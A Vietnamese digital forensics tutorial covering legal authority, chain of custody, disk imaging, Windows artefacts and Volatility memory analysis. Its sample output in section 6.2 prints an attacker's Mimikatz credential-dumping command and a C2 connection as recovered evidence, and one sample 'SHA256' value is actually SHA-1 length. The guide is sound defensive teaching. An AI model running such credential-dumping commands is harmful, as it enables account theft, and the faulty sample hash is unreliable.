

ĐIỀU TRA SỐ - HƯỚNG DẪN TOÀN DIỆN

Từ nguyên lý cơ bản đến vai trò nhân chứng chuyên gia

Giới thiệu

Điều tra số là lĩnh vực nằm tại giao điểm của khoa học máy tính, phương pháp điều tra và thủ tục pháp lý. Tài liệu này xây dựng kiến thức từ những nguyên lý đầu tiên - chứng cứ số là gì, được bảo toàn như thế nào - đến các kỹ thuật phân tích thực hành bằng công cụ tiêu chuẩn của ngành và việc trình bày kết luận với tư cách nhân chứng chuyên gia trước tòa.

Mỗi chương có các phiên terminal minh họa dưới tài khoản `the_cyber_bite@kali`, thể hiện chuỗi lệnh và cách phát hiện chứng cứ trong tình huống thực tế. Các công cụ, kỹ thuật và phương pháp trong tài liệu được sử dụng trong điều tra hình sự, tranh tụng dân sự, điều tra nội bộ doanh nghiệp và ứng phó sự cố DFIR.

Lưu ý về đạo đức nghề nghiệp

Chuyên viên điều tra số có thể tiếp xúc với những dữ liệu cá nhân nhạy cảm nhất: trao đổi riêng tư, hồ sơ y tế, thông tin tài chính và hình ảnh riêng tư. Mọi chứng cứ phải được xử lý với mức độ chuyên nghiệp mà chính bạn mong muốn nếu đó là dữ liệu của mình. Bảo mật và tính toàn vẹn không chỉ là nghĩa vụ pháp lý mà còn là trách nhiệm nghề nghiệp cốt lõi.

Mục lục

1. Nhập môn điều tra số
2. Khung pháp lý và chuỗi lưu giữ chứng cứ
3. Công cụ pháp chứng và môi trường phòng lab
4. Pháp chứng ổ đĩa - nền tảng
5. Dấu vết pháp chứng trên Windows
6. Pháp chứng bộ nhớ
7. Pháp chứng mạng

8. Pháp chứng thiết bị di động
9. Pháp chứng đám mây
10. Pháp chứng trình duyệt và email
11. Phân tích dòng thời gian và Super Timeline
12. Pháp chứng Linux
13. Kỹ thuật chống pháp chứng
14. Viết báo cáo và làm chứng chuyên gia
15. Danh mục công cụ DFIR
16. Nghề nghiệp, chứng chỉ và lộ trình học tập

1. Nhập môn điều tra số

Phục hồi, bảo toàn và phân tích chứng cứ số bằng phương pháp khoa học.

Điều tra số là việc áp dụng phương pháp khoa học để phục hồi, bảo toàn, kiểm tra, phân tích và trình bày chứng cứ số tìm thấy trên máy tính, thiết bị di động, mạng và môi trường đám mây theo cách có thể được chấp nhận về mặt pháp lý. Lĩnh vực này kết hợp khoa học máy tính, phương pháp điều tra và thủ tục pháp lý để hỗ trợ tố tụng hình sự, tranh tụng dân sự, điều tra doanh nghiệp và ứng phó sự cố.

Điều tra số hiện đại hình thành từ thập niên 1980, khi cơ quan thực thi pháp luật bắt đầu gặp máy tính trong các vụ án. Ngày nay đây là một ngành trưởng thành với phương pháp chuẩn hóa, chứng chỉ được công nhận quốc tế, phần cứng và phần mềm chuyên dụng cùng nền tảng khoa học chặt chẽ. Chuyên viên không chỉ phải hiểu kỹ thuật mà còn phải hiểu khung pháp lý quyết định việc chứng cứ có được tòa án chấp nhận hay không.

1.1. Các nhánh của điều tra số

Nhánh	Ý nghĩa pháp chứng
Pháp chứng máy tính	Phân tích máy bàn, laptop và máy chủ: hệ thống tệp, dữ liệu đã xóa và dấu vết hệ thống.
Pháp chứng thiết bị di động	Điện thoại, máy tính bảng, thiết bị đeo: nhật ký cuộc gọi, tin nhắn, GPS và dữ liệu ứng dụng.
Pháp chứng mạng	Gói tin, dữ liệu luồng và nhật ký: tái dựng liên lạc và đường xâm nhập.
Pháp chứng bộ nhớ	Phân tích RAM: nội dung đã giải mã, tiến trình đang chạy, khóa mã hóa và mã bị tiêm.
Pháp chứng đám mây	Chứng cứ SaaS/IaaS/PaaS: nhật ký API, lưu trữ đối tượng và ảnh máy ảo.
Pháp chứng email	Header, tuyến chuyển tiếp, siêu dữ liệu và tệp đính kèm: xác thực và phát hiện giả mạo.

Nhánh	Ý nghĩa pháp chứng
Pháp chứng cơ sở dữ liệu	SQL/NoSQL: nhật ký giao dịch, bản ghi đã xóa và thay đổi lược đồ.
Pháp chứng IoT	Thiết bị thông minh, hệ thống nhúng và bộ điều khiển công nghiệp: firmware và dữ liệu cảm biến.
Pháp chứng mã độc	Phân tích hành vi, dịch ngược và quy kết: mã độc hoạt động thế nào và có thể do ai phát triển.
Pháp chứng mạng xã hội	Thu thập nguồn mở: hoạt động tài khoản, bài đăng, mối liên hệ và dấu thời gian.

1.2. Quy trình pháp chứng - bốn giai đoạn cốt lõi

- Nhận diện:** Xác định nguồn chứng cứ tiềm năng như máy tính, điện thoại, USB, tài khoản đám mây và thiết bị mạng.
- Thu thập và bảo toàn:** Thu nhận chứng cứ theo phương pháp pháp chứng đúng chuẩn, duy trì chuỗi lưu giữ và tạo bản sao đã xác minh.
- Kiểm tra và phân tích:** Dùng công cụ, kỹ thuật đã được kiểm chứng để trích xuất thông tin liên quan.
- Báo cáo và trình bày:** Ghi lại phát hiện trong báo cáo rõ ràng, khách quan, có thể tái lập và phù hợp với thủ tục pháp lý.

1.3. Nguyên tắc cốt lõi

- Tính toàn vẹn:** Không được làm thay đổi chứng cứ trong quá trình thu thập hoặc phân tích. Mọi thay đổi phải được ghi nhận, giải thích và công bố.
- Chuỗi lưu giữ chứng cứ:** Hồ sơ liên tục ghi rõ ai đã thu thập, xử lý, chuyển giao, phân tích và lưu trữ chứng cứ.
- Khả năng tái lập:** Chuyên viên khác dùng cùng công cụ và phương pháp trên cùng chứng cứ phải có thể đi đến kết luận tương tự.
- Tài liệu hóa:** Mọi hành động đều phải được ghi chép, kể cả thử nghiệm thất bại, kết quả rỗng và phát hiện bất ngờ.
- Tính khách quan:** Báo cáo chính xác dù phát hiện ủng hộ hay bác bỏ giả thuyết điều tra.

- **Thẩm quyền:** Việc thu thập phải dựa trên thẩm quyền hợp pháp như lệnh khám xét, sự đồng ý hoặc chính sách doanh nghiệp.

1.4. Điều tra số và ứng phó sự cố

Hoạt động	Trọng tâm
Digital Forensics	Chứng cứ có thể dùng trước tòa, quy trình có phương pháp, bảo toàn bản gốc và chuỗi lưu giữ hợp pháp.
Incident Response	Ưu tiên tốc độ, ngăn chặn kẻ tấn công ngay; việc bảo toàn chứng cứ có thể đứng sau yêu cầu cô lập sự cố.
DFIR kết hợp	Ứng phó nhanh nhưng vẫn giữ tính chặt chẽ pháp chứng; thu thập chứng cứ với tốc độ IR bằng phương pháp pháp chứng.

Cân nhắc pháp lý: Mọi hoạt động điều tra số phải được ủy quyền. Truy cập trái phép hệ thống máy tính, kể cả với mục đích “điều tra”, có thể là hành vi phạm pháp. Luôn có văn bản cho phép trước khi bắt đầu kiểm tra.

2. Khung pháp lý và chuỗi lưu giữ chứng cứ

Tiêu chuẩn chứng cứ, thẩm quyền khám xét và khả năng được chấp nhận.

Chứng cứ số chỉ có giá trị khi được chấp nhận trước tòa hoặc trong quy trình kỷ luật. Chứng cứ thu thập không đúng thẩm quyền, bị xử lý sai hoặc được phân tích bằng phương pháp chưa được kiểm chứng có thể bị loại bỏ, bất kể nội dung buộc tội mạnh đến đâu. Vì vậy, khung pháp lý là nền tảng của toàn bộ công việc kỹ thuật.

2.1. Thẩm quyền hợp pháp để thu thập chứng cứ

Cơ sở	Ý nghĩa
Lệnh khám xét (Search Warrant)	Tòa án cho phép khám xét địa điểm cụ thể để tìm đối tượng cụ thể; thường là thẩm quyền mạnh nhất.
Sự đồng ý (Consent)	Chủ sở hữu tự nguyện cho phép kiểm tra thiết bị; phải được lập thành văn bản.
Tình thế khẩn cấp	Nguy cơ chứng cứ bị phá hủy cho phép hành động ngay mà chưa có lệnh, tùy pháp luật địa phương.
Chính sách doanh nghiệp	Người sử dụng lao động có thể kiểm tra thiết bị thuộc sở hữu công ty nếu điều này được quy định trong chính sách sử dụng chấp nhận được.
Học thuyết bên thứ ba	Dữ liệu do ISP hoặc nhà cung cấp đám mây giữ có thể có mức kỳ vọng riêng tư thấp hơn, tùy khu vực pháp lý.
Hiệp định tương trợ tư pháp - MLAT	Cơ chế hợp tác quốc tế để thu thập chứng cứ xuyên biên giới.
Thư yêu cầu bảo toàn	Yêu cầu pháp lý buộc bên thứ ba giữ nguyên dữ liệu trong khi chờ thủ tục chính thức.

2.2. Tài liệu chuỗi lưu giữ chứng cứ

Chuỗi lưu giữ chứng cứ (Chain of Custody - CoC) là hồ sơ theo thời gian ghi lại việc nắm giữ, kiểm soát, chuyển giao và phân tích chứng cứ. Một mắt xích bị đứt có thể khiến chứng cứ bị tuyên không hợp lệ. Mỗi lần bàn giao đều phải được ghi nhận.

Hồ sơ	Nội dung cần ghi
Nhân chứng cứ	Mã vụ việc, mã vật chứng, ngày giờ, địa điểm và người thu thập.
Phiếu thu thập	Thu thập vật gì, ở đâu, khi nào, bởi ai, ai chứng kiến và tình trạng thiết bị.
Giá trị băm	MD5/SHA-256 của ảnh pháp chứng để chứng minh dữ liệu không thay đổi từ lúc thu thập.
Biên bản chuyển giao	Ngày giờ, người giao, người nhận và lý do chuyển giao.
Nhật ký lưu trữ	Nơi lưu an toàn và lịch sử ai đã truy cập, vào thời điểm nào.
Hồ sơ phân tích	Tên chuyên viên, công cụ, phiên bản và ngày phân tích để bảo đảm khả năng tái lập.
Hồ sơ xử lý cuối cùng	Trả lại, tiêu hủy hoặc lưu trữ lâu dài kèm ngày và thẩm quyền phê duyệt.

Ví dụ ghi nhận hash và tạo ảnh pháp chứng

```
sha256sum /dev/sdb | tee /home/the_cyber_bite/cases/CASE001/hash_original.txt
```

```
sudo dcfldd if=/dev/sdb \
of=/home/the_cyber_bite/cases/CASE001/image.dd \
hash=sha256 \
hashlog=/home/the_cyber_bite/cases/CASE001/hash_log.txt
```

```
sha256sum /home/the_cyber_bite/cases/CASE001/image.dd
```

```
# HASHES MATCH - Image integrity confirmed
```

```
Case: CASE-2026-001 | Examiner: the_cyber_bite
```

```
Evidence: Samsung SSD 860 EVO 64GB | Serial: S4EXNJ0N123456
```

```
Collection date: 2026-01-15 09:23:44 UTC
```

```
Collection location: 15 High Street, London - Exhibit A
```

```
SHA256 (original): a94f321b2c5e11d44f12c8ee4d7d4c1b8e9f23ab
```

```
SHA256 (image): a94f321b2c5e11d44f12c8ee4d7d4c1b8e9f23ab
```


2.3. Các tiêu chuẩn chứng cứ quan trọng

- **Tính xác thực:** Chứng cứ phải đúng là thứ được tuyên bố; thường chứng minh bằng hash.
- **Độ tin cậy:** Phương pháp thu thập và phân tích phải có cơ sở khoa học.
- **Quy tắc chứng cứ tốt nhất:** Bản gốc hoặc bản sao pháp chứng chính xác, đã xác minh hash, có thể tương đương pháp lý với ổ đĩa gốc.
- **Ngoại lệ đối với lời khai truyền miệng:** Bản ghi do máy tính tạo có thể được xem là hồ sơ hoạt động kinh doanh, tùy luật áp dụng.
- **Tiêu chuẩn Daubert:** Nhân chứng chuyên gia phải sử dụng phương pháp khoa học đã được phản biện và chấp nhận.
- **Civil Evidence Act:** Tài liệu do máy tính tạo có thể được suy đoán là chính xác cho đến khi có tranh chấp.
- **Tính tương xứng:** Chi phí và mức xâm phạm quyền riêng tư phải tương xứng với vấn đề điều tra.

Cảnh báo bắt buộc: Nếu phát hiện tài liệu lạm dụng tình dục trẻ em (CSAM), hãy dừng ngay, liên hệ cơ quan thực thi pháp luật có thẩm quyền, không tiếp tục xem, sao chép hay phân tích. Ghi lại lý do dừng và những gì đã phát hiện theo quy định. Việc xem hoặc lưu giữ CSAM có thể cấu thành tội phạm ngay cả khi người thực hiện tự cho rằng đang điều tra.

3. Công cụ pháp chứng và môi trường phòng lab

Một máy trạm DFIR chuyên nghiệp cần phần cứng, phần mềm, môi trường kiểm soát và quy trình chống lây nhiễm chéo giữa các vụ việc.

3.1. Phần cứng thiết yếu

Thiết bị	Công dụng
Write Blocker phần cứng	Ngăn mọi thao tác ghi lên ổ chứng cứ trong khi tạo ảnh; bắt buộc với quy trình có thể bảo vệ trước tòa.
Túi/lồng Faraday	Chặn tín hiệu không dây của thiết bị di động, tránh xóa dữ liệu từ xa.
Forensic Duplicator	Thiết bị tạo ảnh độc lập như Tableau TX1 hoặc Logicube Falcon, không cần máy tính chủ.
USB Write Blocker	Ngăn ghi lên thiết bị USB, ví dụ Tableau T8-R2 hoặc WiebeTech UltraDock.
Bộ chuyển đổi SATA/NVMe	Kết nối nhiều loại ổ đĩa với máy trạm pháp chứng.
Đầu đọc SIM	Trích xuất dữ liệu SIM độc lập với điện thoại.
Công cụ JTAG/Chip-off	Trích xuất mức thấp từ thiết bị khóa hoặc hư hỏng.
Phòng che chắn RF	Môi trường Faraday toàn phần để kiểm tra thiết bị vẫn hoạt động mạng.

3.2. Nền tảng phần mềm

Công cụ	Đặc điểm
Autopsy	GUI mã nguồn mở: ảnh ổ đĩa, trích xuất dấu vết, tìm từ khóa và dựng dòng thời gian.
FTK	Thương mại, đã được sử dụng trong tố tụng; hỗ trợ e-discovery, lập chỉ mục đầy đủ và tích hợp Cellebrite UFED.

Công cụ	Đặc điểm
X-Ways Forensics	Gọn, nhanh, mạnh; có trình chỉnh sửa hex tốt, được nhiều chuyên viên kinh nghiệm ưa dùng.
EnCase	Nền tảng doanh nghiệp, được chấp nhận rộng rãi trước tòa và tích hợp ứng phó sự cố.
Magnet AXIOM	Phân tích endpoint, di động và đám mây trong một nền tảng, khả năng phân tích artefact mạnh.
SIFT Workstation	Máy ảo Ubuntu miễn phí của SANS, chứa bộ công cụ CLI pháp chứng toàn diện.
Kali Linux forensic mode	Khởi động ở chế độ pháp chứng, không tự động mount và không ghi lên ổ kết nối.
REMnux	Bản phân phối Linux chuyên phân tích mã độc, hỗ trợ cho điều tra tệp đáng ngờ.

Cài SIFT Workstation

```
wget https://github.com/teamdfir/sift-saltstack/releases/latest/download/sift-cli-linux
chmod +x sift-cli-linux
sudo mv sift-cli-linux /usr/local/bin/sift
sudo sift install

which vol3 autopsy log2timeline plaso mmls fls icat
```

3.3. Tạo ảnh pháp chứng

```
# Bản sao RAW bằng dd
sudo dd if=/dev/sdb of=evidence.raw bs=4M conv=noerror,sync status=progress

# dcfldd có hash tích hợp
sudo dcfldd if=/dev/sdb of=evidence.dd hash=md5,sha256 hashlog=hashes.txt bs=512

# dc3dd
sudo dc3dd if=/dev/sdb of=evidence.e01 hash=sha256 log=dc3dd.log
```

```
# E01 bằng ewfacquire
```

```
sudo ewfacquire /dev/sdb -t /home/the_cyber_bite/cases/CASE001/evidence
```

3.4. Định dạng ảnh thường dùng

Định dạng	Đặc điểm
RAW/DD	Sao chép từng sector, không siêu dữ liệu, không nén, tương thích rộng nhưng dung lượng lớn.
E01 - Expert Witness	Phổ biến nhất; chứa thông tin vụ việc, siêu dữ liệu, nén và hash MD5/SHA-1.
AFF4	Chuẩn mở nâng cao, hỗ trợ chia nhỏ ảnh, nén và chữ ký mật mã.
VMDK/VHD	Đĩa máy ảo, dùng khi chứng cứ là VM hoặc phân tích VMware/Hyper-V.
SMART	Định dạng ASR Data với tùy chọn mã hóa mạnh.

Mẹo chuyên viên: Luôn phân tích trên bản sao đã xác minh, không kiểm tra trực tiếp chứng cứ gốc. Giữ bản gốc ở chế độ chống ghi và lưu trữ an toàn. Tối thiểu nên có một bản làm việc và một bản lưu trữ độc lập. Xác minh hash trước và sau mỗi phiên phân tích.

4. Pháp chứng ổ đĩa - nền tảng

Hệ thống tệp, bảng phân vùng và cấu trúc lưu trữ.

Pháp chứng ổ đĩa là việc kiểm tra phương tiện lưu trữ để phục hồi dữ liệu và tái dựng sự kiện. Cần hiểu dữ liệu được lưu vật lý ra sao và điều gì thực sự xảy ra khi tệp bị “xóa”. Dữ liệu hiếm khi biến mất ngay; khả năng xác định phần nào còn có thể phục hồi là kỹ năng cốt lõi.

4.1. Cấu trúc từ vật lý đến logic

Thành phần	Ý nghĩa
Sector	Đơn vị vật lý nhỏ nhất. Ổ truyền thống dùng 512 byte; ổ hiện đại thường dùng sector 4096 byte.
Cluster/Allocation Unit	Đơn vị logic nhỏ nhất cấp cho tệp, gồm nhiều sector. Vùng dư có thể tồn tại giữa cuối dữ liệu và cuối cluster.
Partition	Vùng sector liên tục do MBR hoặc GPT định nghĩa, thường chứa một hệ thống tệp.
Volume	Phân vùng đã định dạng; trên Windows thường hiển thị như C: hoặc D:.
File System	Cấu trúc tổ chức tệp: NTFS, FAT32, exFAT, ext4, APFS, HFS+...
MBR	Bảng phân vùng kiểu cũ ở sector đầu, tối đa 4 phân vùng chính và khoảng 2 TB.
GPT	Chuẩn hiện đại dùng với UEFI, hỗ trợ nhiều phân vùng và dung lượng rất lớn.

4.2. Các hệ thống tệp quan trọng

Hệ thống tệp	Giá trị pháp chứng
NTFS	Chuẩn Windows; \$MFT chứa metadata của mọi tệp và tạo ra nhiều artefact.
FAT32/exFAT	Thường gặp trên USB và thẻ nhớ; không journaling, cấu trúc đơn giản, phục hồi dễ hơn.

Hệ thống tệp Giá trị pháp chứng

ext4	Chuẩn Linux; journal lưu dấu thay đổi gần đây và inode chứa metadata chi tiết.
APFS	Định dạng Apple hiện đại, copy-on-write, snapshot và mã hóa tích hợp.
HFS+	Định dạng Apple cũ, có resource fork và kho metadata Spotlight.
Btrfs	Copy-on-write, snapshot và kiểm tra toàn vẹn; ngày càng phổ biến trên máy chủ Linux.
XFS	Hệ thống tệp 64-bit hiệu năng cao, thường gặp trên RHEL/CentOS, có journaling tốt.
FAT12	Định dạng rất cũ trên đĩa mềm và một số thiết bị nhúng.

4.3. “Xóa” thực sự có nghĩa gì

Trên phần lớn hệ thống tệp, khi tệp bị xóa, các byte dữ liệu không bị xóa ngay. Mục thư mục bị loại bỏ và vùng lưu trữ được đánh dấu “có thể tái sử dụng”. Dữ liệu còn tồn tại đến khi bị tệp mới ghi đè.

```
# Xem bảng phân vùng
mmls evidence.E01
```

```
# Liệt kê tệp, kể cả tệp đã xóa
fls -r -o 2048 evidence.E01 | grep 'd/d' | head -20
```

```
# Phục hồi theo inode/MFT entry
icat -o 2048 evidence.E01 43201 > recovered_exfil.7z
sha256sum recovered_exfil.7z
```

Ví dụ phát hiện:

```
Users/suspect/Desktop/secrets.zip    [DELETED]
Users/suspect/Documents/plan.docx    [DELETED]
Users/suspect/AppData/Temp/exfil.7z    [DELETED]
```

4.4. File carving - phục hồi không cần metadata

File carving phục hồi tệp từ vùng chưa cấp phát chỉ dựa vào chữ ký tệp (magic bytes), không cần metadata của hệ thống tệp. Kỹ thuật này hữu ích khi metadata đã bị ghi đè hoặc khi phân tích không gian đĩa thô.

```
foremost -t jpeg,pdf,zip,docx,xlsx -i evidence.E01 -o carved/  
photorec /d photorec/ evidence.E01  
scalpel -c /etc/scalpel/scalpel.conf -o scalpel/ evidence.E01
```

4.5. Vùng dư - Slack Space

Slack space là phần còn lại từ cuối dữ liệu của tệp đến cuối cluster cuối cùng được cấp. Ví dụ, tệp 1000 byte trong cluster 4096 byte để lại 3096 byte vùng dư. Khu vực này có thể chứa mảnh dữ liệu cũ, nội dung email hoặc phân hình ảnh đã bị ghi đè.

Chứng cứ quan trọng: Hãy kiểm tra slack space trong các vụ nghi ngờ che giấu dữ liệu hoặc khi tệp có dấu hiệu bị cắt ngắn có chủ đích.

5. Dấu vết pháp chứng trên Windows

NTFS, Registry, Event Logs, Prefetch và LNK - Windows để lại dấu vết ở khắp nơi.

Windows là hệ điều hành giàu dấu vết pháp chứng nhất. Gần như mọi hành động người dùng, sự kiện hệ thống và lần thực thi chương trình đều có thể để lại thông tin trong nhiều nguồn artefact. Kỹ năng cốt lõi của chuyên viên là biết chúng nằm ở đâu, cho biết điều gì và trích xuất bằng cách nào.

5.1. NTFS Master File Table - \$MFT

Mỗi tệp và thư mục trên volume NTFS đều có bản ghi trong \$MFT, chứa tên tệp, kích thước, dấu thời gian MACB, quyền và vị trí cluster dữ liệu. Kể cả khi tệp đã bị xóa, bản ghi MFT có thể vẫn còn.

```
analyzeMFT -f /home/the_cyber_bite/cases/CASE001/MFT \
-o /home/the_cyber_bite/cases/CASE001/mft_analysis.csv

icat -o 2048 evidence.E01 0 > /home/the_cyber_bite/cases/CASE001/MFT

MFTECmd.exe -f MFT --csv output/ --csvf mft_output.csv
```

5.2. Dấu thời gian MACB

Ký hiệu	Ý nghĩa
M - Modified	Lần cuối nội dung tệp thay đổi; bằng chứng chỉnh sửa.
A - Accessed	Lần cuối tệp được mở hoặc đọc; bằng chứng truy cập.
C - Changed	Lần cuối bản ghi MFT thay đổi, ví dụ đổi tên, quyền hoặc metadata.
B - Born/Created	Thời điểm tệp được tạo lần đầu trên volume hiện tại.

Kẻ tấn công có thể sửa các giá trị MACB bằng công cụ như timestomp. NTFS thường có hai bộ dấu thời gian:

- **\$STANDARD_INFORMATION**: Bộ thời gian Windows Explorer hiển thị, dễ bị công cụ user-mode sửa hơn.

- \$FILE_NAME: Bộ thời gian thứ hai trong MFT, khó sửa hơn. So sánh hai bộ để tìm bất nhất.

5.3. Windows Registry - bản đồ kho báu pháp chứng

Registry là cơ sở dữ liệu phân cấp lưu cấu hình hệ thống và người dùng. Nó ghi nhận phần mềm đã cài, thiết bị USB, tệp truy cập gần đây, hoạt động người dùng và cơ chế persistence.

Hive	Giá trị pháp chứng
SYSTEM	Cấu hình hệ thống, dịch vụ, driver, giao diện mạng và múi giờ.
SOFTWARE	Phần mềm cài đặt, phiên bản hệ điều hành, thiết lập Windows và ứng dụng.
SAM	Tài khoản cục bộ và NTLM hash; cần quyền truy cập phù hợp cùng hive SYSTEM.
SECURITY	Chính sách bảo mật, credential cache và thiết lập audit.
NTUSER.DAT	Hive theo người dùng: RecentDocs, lịch sử tìm kiếm, TypedURLs, RunMRU và UserAssist.
USRCLASS.DAT	Shellbags: lịch sử truy cập thư mục, kể cả thư mục đã xóa và network share.

```
sudo mount -o ro,loop,offset=$((2048*512)) evidence.E01 /mnt/evidence/
```

```
RECcmd.exe -f NTUSER.DAT \
--bn BatchExamples/Kroll_Batch_MC.reb \
--csv output/
```

```
reg_decode.py -H NTUSER.DAT \
-k 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist'
```

Các vị trí Registry quan trọng

Đường dẫn	Nội dung
-----------	----------

Đường dẫn	Nội dung
NTUSER.DAT\...\UserAssist	Chương trình người dùng đã chạy, số lần chạy và thời gian cuối. GUID thường mã hóa ROT13.
NTUSER.DAT\...\RecentDocs	Tài liệu mở gần đây, phân theo loại tệp, chứa tên và thư mục.
NTUSER.DAT\...\TypedPaths	Đường dẫn được gõ trực tiếp vào thanh địa chỉ Explorer.
NTUSER.DAT\...\TypedURLs	URL được gõ trực tiếp vào Internet Explorer/Edge.
NTUSER.DAT\...\RunMRU	Lịch sử lệnh trong hộp thoại Run.
SYSTEM\...\USBSTOR	Mọi thiết bị lưu trữ USB từng kết nối: hãng, sản phẩm và serial.
SYSTEM\...\MountedDevices	Ảnh xạ ký tự ổ đĩa với GUID thiết bị.
SOFTWARE\...\Windows\Run	Chương trình tự chạy khi khởi động hệ thống; vị trí persistence phổ biến.
NTUSER.DAT\...\Run	Chương trình tự chạy riêng cho từng người dùng.
SYSTEM\...\Services	Dịch vụ Windows đã cài; mã độc thường cài dưới dạng service.
SOFTWARE\...\AppCompatCache	Shimcache - lịch sử chương trình đã thực thi hoặc xuất hiện, kể cả tệp đã xóa.
NTUSER.DAT\...\Shellbags	Lịch sử duyệt thư mục, USB và network share, kể cả đối tượng đã xóa.

5.4. Windows Event Logs

Event ID	Sự kiện	Ý nghĩa pháp chứng
4624	Đăng nhập thành công	Ai đăng nhập, khi nào, từ đâu và loại đăng nhập.
4625	Đăng nhập thất bại	Brute force, sai tài khoản hoặc sai mật khẩu.

Event ID	Sự kiện	Ý nghĩa pháp chứng
4634	Đăng xuất	Kết hợp 4624 để tính thời lượng phiên.
4648	Logon bằng credential tường minh	RunAs, di chuyển ngang với tài khoản khác.
4672	Gán đặc quyền đặc biệt	Phiên có quyền tương đương quản trị viên.
4688	Tạo tiến trình	Rất quan trọng để xác định mã độc và công cụ kẻ tấn công.
4689	Tiến trình kết thúc	Tính thời gian chạy.
4698	Tạo Scheduled Task	Persistence bằng tác vụ lập lịch.
4702	Sửa Scheduled Task	Kẻ tấn công sửa tác vụ hợp lệ có sẵn.
4720	Tạo tài khoản người dùng	Tài khoản backdoor mới.
4732	Thêm thành viên vào nhóm	Leo thang đặc quyền, thường thêm vào Administrators.
4768	Yêu cầu Kerberos TGT	Xác thực domain ban đầu, ánh xạ người dùng với máy trạm.
4769	Yêu cầu Kerberos Service Ticket	Truy cập dịch vụ; Kerberoasting có mẫu đặc trưng.
7045	Cài dịch vụ	Dịch vụ mã độc hoặc công cụ lateral movement.
1102	Xóa Audit Log	Dấu hiệu đỏ tức thời về che giấu hành vi.
4104	PowerShell Script Block	Nội dung PowerShell đã giải mã, có thể lộ script bị làm rối.

5.5. Prefetch - bằng chứng chương trình đã chạy

Tệp .pf giúp Windows tăng tốc tải ứng dụng. Mỗi tệp có tên executable, số lần chạy, tối đa tám thời điểm chạy gần nhất và danh sách tệp/thư mục ứng dụng đã truy cập. Prefetch có thể tồn tại sau khi executable bị xóa.

```
prefetch-analyze.py \
-d /mnt/evidence/Windows/Prefetch/ \
-o /home/the_cyber_bite/cases/CASE001/prefetch.csv
```

Ví dụ:

```
MIMIKATZ.EXE-7C5DA84E.pf
Run Count: 3
Last Run: 2026-01-14 22:43:57 UTC
Also ran: 2026-01-14 22:41:12, 2026-01-14 22:40:58
```

Phát hiện này chứng minh mimikatz.exe đã chạy ba lần, ngay cả khi tệp gốc không còn trên đĩa.

5.6. LNK Files và Jump Lists

Windows tạo shortcut LNK khi người dùng truy cập tệp theo một số cách. LNK có thể chứa đường dẫn gốc, volume serial, dấu thời gian và tên máy, kể cả khi tệp hoặc USB nguồn đã bị tháo.

```
C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Recent\
LECmd.exe -d 'C:\Users\Suspect\AppData\Roaming\Microsoft\Windows\Recent' \
--csv output/
```

Ví dụ kết quả:

```
Target: E:\Stolen_Data\customer_database.xlsx
Volume Serial: 0x4C530001 (SanDisk Cruzer Blade)
Created: 2026-01-14 22:42:18 UTC
Modified: 2026-01-14 22:44:51 UTC
Machine: CORP-LAPTOP-01
```

Kết quả cho thấy tệp đã được mở từ USB trong khoảng thời gian sự cố, dù USB đã bị tháo trước khi thu thập.

6. Pháp chứng bộ nhớ

Phân tích RAM để tìm những gì ổ đĩa không thể hiện.

RAM có thể chứa payload đã giải mã, tiến trình đang chạy, kết nối mạng, khóa mã hóa, mã bị tiêm và đầu ra công cụ của kẻ tấn công. Pháp chứng bộ nhớ đặc biệt hữu ích với mã độc không tệp, ransomware và hành vi đã bị xóa khỏi đĩa.

6.1. Thu thập bộ nhớ

Windows - WinPmem

```
winpmem_mini_x64.exe --output memory.raw --format raw
```

Linux - /dev/mem, nếu hệ thống cho phép

```
sudo dd if=/dev/mem of=memory.raw bs=1M status=progress 2>/dev/null
```

Linux - LiME

```
sudo insmod lime-5.15.0-generic.ko 'path=/tmp/memory.raw format=raw'
```

Xác minh

```
sha256sum memory.raw | tee /home/the_cyber_bite/cases/CASE001/memory_hash.txt
```

Với VMware, tạm dừng VM có thể tạo tệp .vmem chứa ảnh RAM hoàn chỉnh.

6.2. Điều tra bằng Volatility 3

Thông tin hệ thống

```
python3 vol.py -f memory.raw windows.info
```

Tiến trình đang chạy

```
python3 vol.py -f memory.raw windows.pslist
```

Dòng lệnh của tiến trình

```
python3 vol.py -f memory.raw windows.cmdline
```

Kết nối mạng

```
python3 vol.py -f memory.raw windows.netscan
```

Ví dụ:

```
2456 3189 cmd.exe    2026-01-14 22:40:55
2891 2456 mimikatz.exe 2026-01-14 22:41:02

mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' exit
185.220.101.47:4444 ESTABLISHED 2891 mimikatz.exe
```

Chuỗi này xác nhận Mimikatz chạy làm tiến trình con của cmd.exe, thực hiện dump credential và có kết nối C2.

6.3. Phát hiện Process Injection

```
python3 vol.py -f memory.raw windows.malfind --dump
python3 vol.py -f memory.raw windows.psscan
```

Ví dụ:

```
PID 1847 svchost.exe
Protection: PAGE_EXECUTE_READWRITE
MZ header found - Full PE injected into svchost.exe

PID 3421 svchost.exe - NOT in pslist
```

Vùng nhớ RWX có header MZ gợi ý PE bị tiêm. Tiến trình xuất hiện trong psscan nhưng không có trong pslist có thể đã bị unlink bởi rootkit.

6.4. Plugin Volatility quan trọng

Plugin	Công dụng
windows.pslist	Danh sách tiến trình từ linked list EPROCESS; rootkit có thể thao túng.
windows.psscan	Quét pool để tìm mọi cấu trúc tiến trình, gồm tiến trình ẩn/unlinked.
windows.pstree	Cây cha-con của tiến trình, giúp phát hiện quan hệ bất thường.
windows.cmdline	Tham số dòng lệnh, thường lộ switch của mã độc.

Plugin	Công dụng
windows.malfind	Tìm vùng RWX chứa PE, hỗ trợ phát hiện injection.
windows.netscan	Kết nối TCP/UDP đang hoạt động hoặc vừa đóng.
windows.dlllist	DLL được nạp bởi từng tiến trình, tìm DLL bị tiêm hoặc không ký.
windows.handles	Handle mở: tệp, registry key, mutex và pipe.
windows.svcscan	Dịch vụ Windows, tìm service độc hại.
windows.registry.hivelist	Hive Registry đang được nạp trong RAM.
windows.registry.printkey	Đọc giá trị registry cụ thể từ bộ nhớ.
windows.dumpfiles	Trích xuất tệp từ RAM theo PID hoặc địa chỉ.
windows.yarascan	Chạy YARA trên RAM để sẵn chữ ký mã độc.
windows.strings	Tìm chuỗi cụ thể phục vụ sẵn IOC.
windows.filescan	Tìm đối tượng tệp, kể cả handle volume mã hóa.
linux.pslist	Danh sách tiến trình Linux.
linux.bash	Phục hồi lệnh bash từ bộ nhớ.
linux.netstat	Kết nối mạng Linux trong RAM.

Chứng cứ quan trọng: Lịch sử bash có thể được phục hồi từ RAM sau khi kẻ tấn công chạy history -c, miễn là cấu trúc history buffer vẫn còn tại thời điểm thu thập.

